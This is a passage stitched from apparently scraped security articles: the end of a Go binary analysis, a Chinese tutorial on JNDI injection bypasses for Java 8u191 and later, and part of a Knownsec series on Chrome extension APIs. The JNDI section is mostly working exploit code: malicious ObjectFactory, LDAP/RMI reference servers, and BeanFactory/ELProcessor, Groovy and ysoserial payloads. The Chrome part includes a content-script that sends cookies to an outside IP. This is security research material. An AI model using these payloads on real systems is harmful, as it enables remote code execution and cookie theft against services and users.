* firstmoduledata.ftab == pclntab_addr + 8
* firstmoduledata.filetab == firstmoduledata.ftab + pclntab.functab_size + sizeof(uintptr)
* firstmoduledata.minpc == firstmoduledata.text_addr == uintptr(pclntbl_addr + 8 + ADDR_SZ) == first function of pclntab.functab
当然，不一定要验证上面所有条件，验证其中一部分甚至一个关键条件，就可以确认当前地址是否为真正的 **firstmoduledata** 。
另外，随着 Go 的持续迭代， **pclntab** 和 **moduledata** 的结构定义也会发生变化。《[Reconstructing
Program Semantics from Go
Binaries](http://home.in.tum.de/~engelke/pubs/1709-ma.pdf)》 中对比过几个版本的
**moduledata** 之间的区别：
我们对此结构的解析，也要随着 Go 语言的迭代而进行相应调整，否则可能 Go 语言发了一个新版，里面改动了关键数据结构，我们按照旧的结构去解析，就会出错。 | 社区文章 |
# 8u191后的JNDI注入利用
JNDI注入版本关系图，参考如下：
## 一、8u121之前
**使用RMI + JNDI Reference利用**
前面文章已经讲过了JNDI + RMI方式，直接利用marshalsec发布RMI服务到1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.202.1:8000/#Evail
**限制版本：** JDK 6u132, JDK 7u122, JDK 8u121以下（不包括8u121）
在JDK 6u132, JDK 7u122, JDK 8u121版本开始
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
## 二、8u191之前
**使用LDAP + JDNI Reference利用方式：**
* 新建一个恶意类并发布到http服务器
* 启动一个ldap服务器
* 控制客户端lookup()中的URL为我们的恶意LDAP地址
此方法在版本8u191（包括8u191）失效
**1.1 新建一个恶意类Evail，实现ObjectFactory接口：**
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Evail implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
String commond = "gnome-calculator";
Runtime.getRuntime().exec(commond);
return null;
}
}
注意用idea新建时候把自带package代码给去掉
**1.2 把恶意类编译成class文件：**
javac Evail.java
**1.3 在恶意类class文件目录下，使用python启动http服务发布到8000端口：**
**1.4 启动服务端，把LDAP服务发布到9999端口，服务端代码：**
package com.yy.jndi.ldap;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://192.168.202.1:8000/#Evail", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
**1.5 执行客户端，访问远程LDAP服务器（ubuntu作为受害机客户端，JDK版本控制为8u191以下）**
package com.yy.jndi.ldap;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "ldap://192.168.202.1:9999/Evail";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
**1.6 弹出计算器：**
**※利用marshalsec**
其实以上发布ldap服务端的操作可以使用marshalsec来快速完成：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.202.1:8000/#Evail 9999
## 三、8u191之后
### JNDI+RMI的高版本绕过
在JDK 6u132, JDK 7u122, JDK 8u121版本开始
com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类
所以原本的远程加载恶意类的方式已经失效，不过并没有限制从本地进行加载类文件，比如org.apache.naming.factory.BeanFactory
#### (1) 利用tomcat8的类
利用类为`org.apache.naming.factory.BeanFactory`（前提是受害机器得有tomcat的这个jar包）
> 针对 RMI 利用的检查方式中最关键的就是 if (var8 != null && var8.getFactoryClassLocation() !=
> null && !trustURLCodebase) 如果 FactoryClassLocation 为空，那么就会进入
> NamingManager.getObjectInstance 在此方法会调用 Reference 中的ObjectFactory。因此绕过思路为在目标
> classpath 中寻找实现 ObjectFactory 接口的类。在 Tomcat
> 中有一处可以利用的符合条件的类org.apache.naming.factory.BeanFactory 在此类中会获取 Reference
> 中的forceString 得到其中的值之后会判断是否包含等号，如果包含则用等号分割，将前一半当做方法名，后一半当做 Hashmap 中的
> key。如果不包含等号则方法名变成 set开头。值得注意的是此方法中已经指定了参数类型为
> String。后面将会利用反射执行前面所提到的方法。因此需要找到使用了 String 作为参数，并且能
> RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合适
参考：<https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html>
1. 无需搭建http服务，直接启动服务端（攻击机）代码：
package com.yy.jndi.jdk8u121;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;
public class RMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"gnome-calculator\")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
registry.bind("exp", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
1. 使用客户端（受害机ubuntu）进行连接即可命令执行，client端代码:
package com.yy.jndi.rmi;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://192.168.202.1:1099/exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
1. 执行客户端进行连接后，成功弹出计算器
##### 总结：
适用版本：我目前测试了几个常用版本8u102、8u121、8u191、8u202都可以使用，可以说实用性很广了
利用前提：受害机器是tomcat8以上的版本，因为要tomcat8里面的jar包依赖
依赖了两个类都是tomcat8里面jar包存在的类
* org.apache.naming.factory.BeanFactory
* javax.el.ELProcessor
>
> javax.el.ELProcessor本身是Tomcat8中存在的库，所以仅限Tomcat8及更高版本环境下可以通过javax.el.ELProcessor进行攻击，对于使用广泛的SpringBoot应用来说，可被利用的Spring
> Boot Web Starter版本应在1.2.x及以上，因为1.1.x及1.0.x内置的是Tomcat7。
#### (2) 依赖groovy 2以上相关类
客户端所需的jar包，pom.xml
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>
服务端代码
package com.yy.jndi.jdk8u121;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ExecByGroovyParse {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"%s\")\n" +
"})\n" +
"def x\n",
// commandGenerator.getBase64CommandTpl()
"gnome-calculator"
);
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
#### (3) 依赖groovy任意版本的类
比如版本1.5
<!-- https://mvnrepository.com/artifact/org.codehaus.groovy/groovy-all -->
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>1.5.0</version>
</dependency>
服务端代码：
package com.yy.jndi.jdk8u121;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ExecByGroovy {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", "gnome-calculator"); //commandGenerator.getBase64CommandTpl());
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
### JNDI+LDAP高版本绕过
JDK 6u211，7u201, 8u191, 11.0.1开始
`com.sun.jndi.ldap.object.trustURLCodebase` 属性的默认值被调整为false，导致LDAP远程代码攻击方式开始失效
**利用`javaSerializedData`属性**
当javaSerializedData属性的`value`值不为空时，会对该值进行反序列化处理，当本地存在反序列化利用链时，即可触发。
假设目标存在一个CC链所需的类库，那么可以利用这点进行利用
**1.先使用ysoserial.jar生成CC链的poc**
java -jar ysoserial.jar CommonsCollections5 gnome-calculator > poc.txt
**2.转换为base64编码后放到服务端代码里**
服务端代码：
package com.yy.jndi.jdk8u191;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://localhost/#Evail"};
int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("base64 encode payload"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
代码的String[]字符串里面ip并不影响payload执行，随便填或者默认localhost都可
**3.启动服务端后，客户端连接6666端口即可执行成功**
参考：
<https://blog.csdn.net/caiqiiqi/article/details/105951247>
<https://blog.csdn.net/caiqiiqi/article/details/105976072>
<https://blog.csdn.net/weixin_44063566/article/details/88897261>
<https://www.freebuf.com/articles/web/248115.html>
<https://www.freebuf.com/vuls/253545.html>
<https://mp.weixin.qq.com/s/0LePKo8k7HDIjk9ci8dQtA>
<https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html> | 社区文章 |
**Author: LoRexxar'@Knownsec 404 Team
Chinese Version: <https://paper.seebug.org/1092/>**
In early 2019, Microsoft chose Chromium as the default browser and abandoned
the development of Edge. And on April 8, 19, Edge officially released the Edge
Dev browser developed based on Chromium, and provided supporting plug-in
management compatible with Chrome Ext. Chrome's plug-in system is increasingly
affecting the general population.
In this context, the security of Chrome Ext should also receive due attention.
"Getting Started with Chrome Ext Security from Zero" will start from the most
basic plug-in development, and gradually study the security issues from
various perspectives such as malicious plug-in and how malicious web pages use
plug-in to attack.
* [Getting Started with Chrome Ext Security from Zero（1） -- A New Chrome Ext](https://paper.seebug.org/1094/ "Getting Started with Chrome Ext Security from Zero（1） -- A New Chrome Ext")
In the last part, we mainly talked about the most basic plug-in development.
After that, we will discuss the security issues of Chrome Ext. In this
article, we mainly start around Chrome Ext's API and explore how many browsers
can be implemented at the plug-in level. operating.
# Begining From a Simple Page
In order to explore the functional scope of the plugin, first we set up a
simple page.
<?php
setcookie('secret_cookie', 'secret_cookie', time()+3600*24);
?>
test pages
Next, we will explore various possible security issues and attack about the
functions of the Chrome ext api.
# Chrome ext js
## content-script
Content-script is the core function code of the plugin. Generally speaking,
the main JS code will appear in the content-script.
The way it was introduced was mentioned in the previous article. It needs to
be set in manfest.json.
"content_scripts": [
{
"matches": ["http://*.nytimes.com/*"],
"css": ["myStyles.css"],
"js": ["contentScript.js"]
}
],
* <https://developer.chrome.com/extensions/content_scripts>
The main feature of content_script js is that it loads at the same time as the
page, can access the dom, and can also call some APIs such as extension and
runtime, but not many, mainly used for interaction with the page.
`content_script js` can set the timing of corresponding script loading by
setting`run_at`.
* document_idle is the default value, generally after the page dom is loaded and before the window.onload event fires
* after document_start is loaded for css, before constructing page dom
* document_end is after the dom is completed and before the resources such as pictures are loaded.
In addition, `content_script js` allows setting`all_frames` to make
`content_script js` act on all`frames` in the page. This configuration is off
by default because it is an unsafe configuration.
You can directly access the following Chrome Ext APIs in `content_script js`:
* i18n
* storage
* runtime:
* connect
* getManifest
* getURL
* id
* onConnect
* onMessage
* sendMessage
After understanding the basic configuration, let's take a look at what kind of
security issues `content_script js` can cause to a page.
### Security Issue
For `content_script js`, the first problem is that the plug-in can get the dom
of the page. In other words, the plug-in can operate all the dom in the page,
including non-httponly cookies.
Here we simply write following code into the `content_script js`.
console.log(document.cookie);
console.log(document.documentElement.outerHTML);
var xhr = new XMLHttpRequest();
xhr.open("get", "http://212.129.137.248?a="+document.cookie, false);
xhr.send()
refresh the pages and load Plugin
The dom information in the page was successfully obtained, and if we sent the
message across domains through xhr, we also successfully received this request
in the background.
This means that if the plug-in author maliciously modifies the dom in the
plug-in, or even obtains the dom value and sends it out, it can be done in a
way that browser users do not feel.
In the entire browser plug-in system, this problem exists at all levels, among
which `content_script js`,`injected script js`, and `devtools js` can directly
access the operation dom, and popup js and background js can be accessed
through chrome .tabs.executeScript to dynamically execute js, you can also
execute js to modify the dom.
In addition to the previous problems, in fact, the chrome api that can be
accessed by `content_script js` is very small, and it does not involve any
security, which is not mentioned here.
## popup/background js
The two main differences between popup js and backround js are the timing of
loading. Since they cannot access the dom, these two parts of js rely on
event-driven in the browser.
The main difference is that background js will continue to execute after the
event is triggered, and it will not end until all visible views and ports are
closed. It is worth noting that the corresponding events are connected to the
page opening and clicking the expansion button, without directly affecting the
loading of the plugin.
In addition, the most important feature of these two parts of js is that they
can call most of the chrome ext apis. We will explore various APIs later.
## devtools js
devtools js is a special system in the plug-in system. If we generally call
F12 a developer tool, devtools js is a developer tool for developer tools.
The permissions and domain restrictions are generally consistent with content
js, and the only special thing is that it can operate 3 special APIs:
* chrome.devtools.panels: about panel;
* chrome.devtools.inspectedWindow: Get information about the window being inspected;
* chrome.devtools.network: get information about network requests;
These three APIs are also mainly used to modify F12 and obtain information,
and the others are not described in detail.
# Chrome Ext Api
## chrome.cookies
The chrome.cookies api needs to give domain permissions and cookies
permissions, as defined in manfest.json:
{
"name": "My extension",
...
"permissions": [
"cookies",
"*://*.google.com"
],
...
}
After applying for such permission, we can obtain all cookies under the
google.com domain by calling chrome.cookies.
There are 5 methods in total
* get - chrome.cookies.get (object details, function callback) Get eligible cookies
* getAll - chrome.cookies.getAll (object details, function callback) Get all matching cookies
* set - chrome.cookies.set (object details, function callback) Setting cookies
* remove - chrome.cookies.remove (object details, function callback) Delete cookie
* getAllCookieStores - chrome.cookies.getAllCookieStores (function callback) List all stored cookies
And a event
* chrome.cookies.onChanged.addListener(function callback) Events when cookies are deleted or changed
When plugins have cookie permissions, they can read and write all cookies
stored by the browser.
## chrome.contentSettings
The chrome.contentSettings api is used to set the basic settings of the
browser when accessing a web page, including cookies, js, plugins and many
other configurations that take effect when accessing the web page.
Need to apply for permission of contentSettings in manifest.
{
"name": "My extension",
...
"permissions": [
"contentSettings"
],
...
}
in contentSetting api, we can use method to modify setting.
- ResourceIdentifier
- Scope
- ContentSetting
- CookiesContentSetting
- ImagesContentSetting
- JavascriptContentSetting
- LocationContentSetting
- PluginsContentSetting
- PopupsContentSetting
- NotificationsContentSetting
- FullscreenContentSetting
- MouselockContentSetting
- MicrophoneContentSetting
- CameraContentSetting
- PpapiBrokerContentSetting
- MultipleAutomaticDownloadsContentSetting
## chrome.desktopCapture
chrome.desktopCapture can be used to take a screenshot (in real time) of the
entire screen, browser or a page.
You need to apply for desktopCapture permission in the manifest, and the
browser provides a method to get the media stream.
* chooseDesktopMedia - integer chrome.desktopCapture.chooseDesktopMedia(array of DesktopCaptureSourceType sources, tabs.Tab targetTab, function callback)
* cancelChooseDesktopMedia - chrome.desktopCapture.cancelChooseDesktopMedia(integer desktopMediaRequestId)
DesktopCaptureSourceType is set to "screen", "window", "tab", or "audio".
After obtaining the screenshot, this method will pass the media stream id to
the callback function. This id can be generated by the getUserMedia API. The
newly created streamid can only be used once and will expire in a few seconds.
Here is a simple demo.
function gotStream(stream) {
console.log("Received local stream");
var video = document.querySelector("video");
video.src = URL.createObjectURL(stream);
localstream = stream;
stream.onended = function() { console.log("Ended"); };
}
chrome.desktopCapture.chooseDesktopMedia(
["screen"], function (id) {
navigator.webkitGetUserMedia({
audio: false,
video: {
mandatory: {
chromeMediaSource: "desktop",
chromeMediaSourceId: id
}
}
}, gotStream);
}
});
Here is a real-time stream.
## chrome.pageCapture
The method of chrome.pageCapture is similar to desktopCapture. You need to
apply for pageCapture permission in the manifest.
{
"name": "My extension",
...
"permissions": [
"pageCapture"
],
...
}
This is a only one method.
* saveAsMHTML - chrome.pageCapture.saveAsMHTML(object details, function callback)
By calling this method, you can get the source code of the page under any tab
of the current browser and save it as an object in blob format.
The only problem is that you need to know the tabid first.
## chrome.tabCapture
chrome.tabCapture is similar to chrome.desktopCapture. The main difference is
that tabCapture can capture video and audio of tabs, which is more targeted
than desktopCapture.
It is also necessary to declare the tabCapture permission in advance.
Main method is:
* capture - chrome.tabCapture.capture( CaptureOptions options, function callback)
* getCapturedTabs - chrome.tabCapture.getCapturedTabs(function callback)
* captureOffscreenTab - chrome.tabCapture.captureOffscreenTab(string startUrl, CaptureOptions options, function callback)
* getMediaStreamId - chrome.tabCapture.getMediaStreamId(object options, function callback)
Most of the APIs here are used to capture media streams, which is not much
different from the use of desktopCapture.
## chrome.webRequest
chrome.webRequest is the primary user for observing and analyzing traffic and
allows requests to be intercepted, blocked, or modified during runtime.
In addition to the webRequest in the manifest, this API also has permissions
for the corresponding domain, such as `*: //*.*: *`, and it should be noted
that if you need to intercept the request, you also need the
webRequestBlocking permission.
{
"name": "My extension",
...
"permissions": [
"webRequest",
"*://*.google.com/"
],
...
}
* <https://developer.chrome.com/extensions/webRequest>
Before understanding this API in detail, we must first understand the flow of
a request at the browser level and the corresponding event trigger.
In the world of browser plug-ins, the corresponding event trigger is divided
into multiple levels, and each level performs processing one by one.
Since there are too many interfaces under this api, here is an example
chrome.webRequest.onBeforeRequest.addListener(
function(details) {
return {cancel: details.url.indexOf("://www.baidu.com/") != -1};
},
{urls: ["<all_urls>"]},
["blocking"]);
When visiting Baidu, the request will be blocked
When redirectUrl is set, a corresponding jump will be generated.
chrome.webRequest.onBeforeRequest.addListener(
function(details) {
if(details.url.indexOf("://www.baidu.com/") != -1){
return {redirectUrl: "https://lorexxar.cn"};
}
},
{urls: ["<all_urls>"]},
["blocking"]);
Visit www.baidu.com at this time will jump to lorexxar.cn
It is mentioned in the documentation that through these APIs you can directly
modify the content submitted by the post.
## chrome.bookmarks
chrome.bookmarks is an API used to operate the chrome favorites bar, which can
be used to get, modify, and create favorites content.
You need to apply for bookmarks permission in the manifest.
When we use this api, not only can we get all the favorites list, but we can
also silently modify the links corresponding to the favorites.
## chrome.downloads
chrome.downloads is used to operate api related to download files in chrome,
you can create downloads, continue, cancel, pause, and even open the directory
of downloaded files or open downloaded files.
This api needs to apply for downloads permission in the manifest. If you want
to open the downloaded file, you also need to apply for downloads.open
permission.
{
"name": "My extension",
...
"permissions": [
"downloads",
"downloads.open"
],
...
}
Under this API, many related methods are provided
* download - chrome.downloads.download(object options, function callback)
* search - chrome.downloads.search(object query, function callback)
* pause - chrome.downloads.pause(integer downloadId, function callback)
* resume - chrome.downloads.resume(integer downloadId, function callback)
* cancel - chrome.downloads.cancel(integer downloadId, function callback)
* getFileIcon - chrome.downloads.getFileIcon(integer downloadId, object options, function callback)
* open - chrome.downloads.open(integer downloadId)
* show - chrome.downloads.show(integer downloadId)
* showDefaultFolder - chrome.downloads.showDefaultFolder()
* erase - chrome.downloads.erase(object query, function callback)
* removeFile - chrome.downloads.removeFile(integer downloadId, function callback)
* acceptDanger - chrome.downloads.acceptDanger(integer downloadId, function callback)
* setShelfEnabled - chrome.downloads.setShelfEnabled(boolean enabled)
When we have the corresponding permissions, we can directly create a new
download. If it is a dangerous suffix, such as .exe, a corresponding dangerous
prompt will pop up.
In addition to the method of pausing and canceling during the download
process, you can also open the directory where the file is located through
show or open the file directly.
But in addition to requiring additional open permissions, a prompt box will
pop up.
Correspondingly, you can download `file: /// C: / Windows / System32 /
calc.exe` and execute it, but there will be special danger prompts when
downloading and executing.
Conversely, if we are downloading a file identified as non-dangerous, then we
can silently download and open the file.
## chrome.history && chrome.sessions
chrome.history is an API for manipulating historical records. The difference
from our common browser history is that this API can only obtain the
historical discipline in the browser opened this time, and it should be noted
that only closed websites are Will be included in the history.
This api needs to apply history permission in the manfiest.
{
"name": "My extension",
...
"permissions": [
"history"
],
...
}
All methods under api, mainly add, delete, change and check.
* search - chrome.history.search(object query, function callback)
* getVisits - chrome.history.getVisits(object details, function callback)
* addUrl - chrome.history.addUrl(object details, function callback)
* deleteUrl - chrome.history.deleteUrl(object details, function callback)
* deleteRange - chrome.history.deleteRange(object range, function callback)
* deleteAll - chrome.history.deleteAll(function callback)
The browser can get all the history after opening the browser this time.
in chrome ext api, a anther api similar to this is **chrome.sessions**.
This api is used to operate and respond to browser sessions. It also needs to
apply for sessions permission.
* getRecentlyClosed - chrome.sessions.getRecentlyClosed( Filter filter, function callback)
* getDevices - chrome.sessions.getDevices( Filter filter, function callback)
* restore - chrome.sessions.restore(string sessionId, function callback)
Through this API, you can get the recently closed tag sessions, and you can
also resume.
## chrome.tabs
chrome.tabs is an api for manipulating tabs. It is one of the more important
apis of all apis. There are many special operations. In addition to
controlling tabs, you can also execute js in tabs and change css.
You can call most of the APIs in tabs without declaring any permissions, but
if you need to modify the tab's url and other properties, you need tabs
permissions. In addition, to execute js and modify css in tabs, you need
activeTab permissions.
* get - chrome.tabs.get(integer tabId, function callback)
* getCurrent - chrome.tabs.getCurrent(function callback)
* connect - runtime.Port chrome.tabs.connect(integer tabId, object connectInfo)
* sendRequest - chrome.tabs.sendRequest(integer tabId, any request, function responseCallback)
* sendMessage - chrome.tabs.sendMessage(integer tabId, any message, object options, function responseCallback)
* getSelected - chrome.tabs.getSelected(integer windowId, function callback)
* getAllInWindow - chrome.tabs.getAllInWindow(integer windowId, function callback)
* create - chrome.tabs.create(object createProperties, function callback)
* duplicate - chrome.tabs.duplicate(integer tabId, function callback)
* query - chrome.tabs.query(object queryInfo, function callback)
* highlight - chrome.tabs.highlight(object highlightInfo, function callback)
* update - chrome.tabs.update(integer tabId, object updateProperties, function callback)
* move - chrome.tabs.move(integer or array of integer tabIds, object - moveProperties, function callback)
* reload - chrome.tabs.reload(integer tabId, object reloadProperties, function callback)
* remove - chrome.tabs.remove(integer or array of integer tabIds, function callback)
* detectLanguage - chrome.tabs.detectLanguage(integer tabId, function callback)
* captureVisibleTab - chrome.tabs.captureVisibleTab(integer windowId, object options, function callback)
* executeScript - chrome.tabs.executeScript(integer tabId, object details, function callback)
* insertCSS - chrome.tabs.insertCSS(integer tabId, object details, function callback)
* setZoom - chrome.tabs.setZoom(integer tabId, double zoomFactor, function callback)
* getZoom - chrome.tabs.getZoom(integer tabId, function callback)
* setZoomSettings - chrome.tabs.setZoomSettings(integer tabId, ZoomSettings zoomSettings, function callback)
* getZoomSettings - chrome.tabs.getZoomSettings(integer tabId, function callback)
* discard - chrome.tabs.discard(integer tabId, function callback)
* goForward - chrome.tabs.goForward(integer tabId, function callback)
* goBack - chrome.tabs.goBack(integer tabId, function callback)
a simple example, if we get a tab, we can use update to redirect tab.
Similarly, in addition to controlling the links of any tab, we can also
create, move, copy, and highlight tab pages.
When we have activeTab permissions, we can also use captureVisibleTab to
intercept the current page and convert it into a data stream.
Similarly, we can use executeScript to execute js code, which is also the main
way for popups to communicate with the current page.
Here I mainly sort out some APIs related to sensitive information, and the
discussion of the security issues of plug-ins will mainly focus on these APIs.
# chrome plugin permissions
After understanding the basic API, we must understand the permission system of
the chrome plug-in. After reading the api document, we can find that chrome
have very strictly plug-in system, but maybe because of this For plugin
developers, you may need to request too many permissions for plugins.
So in order to save trouble, chrome also gives a second permission declaration
method, which is the domain-based permission system.
you can register just like：
* `"http://*/*",`
* `"https://*/*"`
* `"*://*/*",`
* `"http://*/",`
* `"https://*/",`
In this way, the domain-based permission application method also supports
`<all_urls>` to directly replace all.
In the later permission system, Chrome added `activeTab` instead
of`<all_urls>`. After the declaration of`activeTab`, the browser will give the
plug-in permission to operate the currently active tab, and will not declare
specific Permission requirements.
* no activeTab
* activeTab
When the activeTab permission is declared, you can perform the following
operations without any additional permissions:
* Call tabs.executeScript and tabs.insertCSS
* Get information of the page through tabs.Tab object
* Get the domain permissions required by webRequest
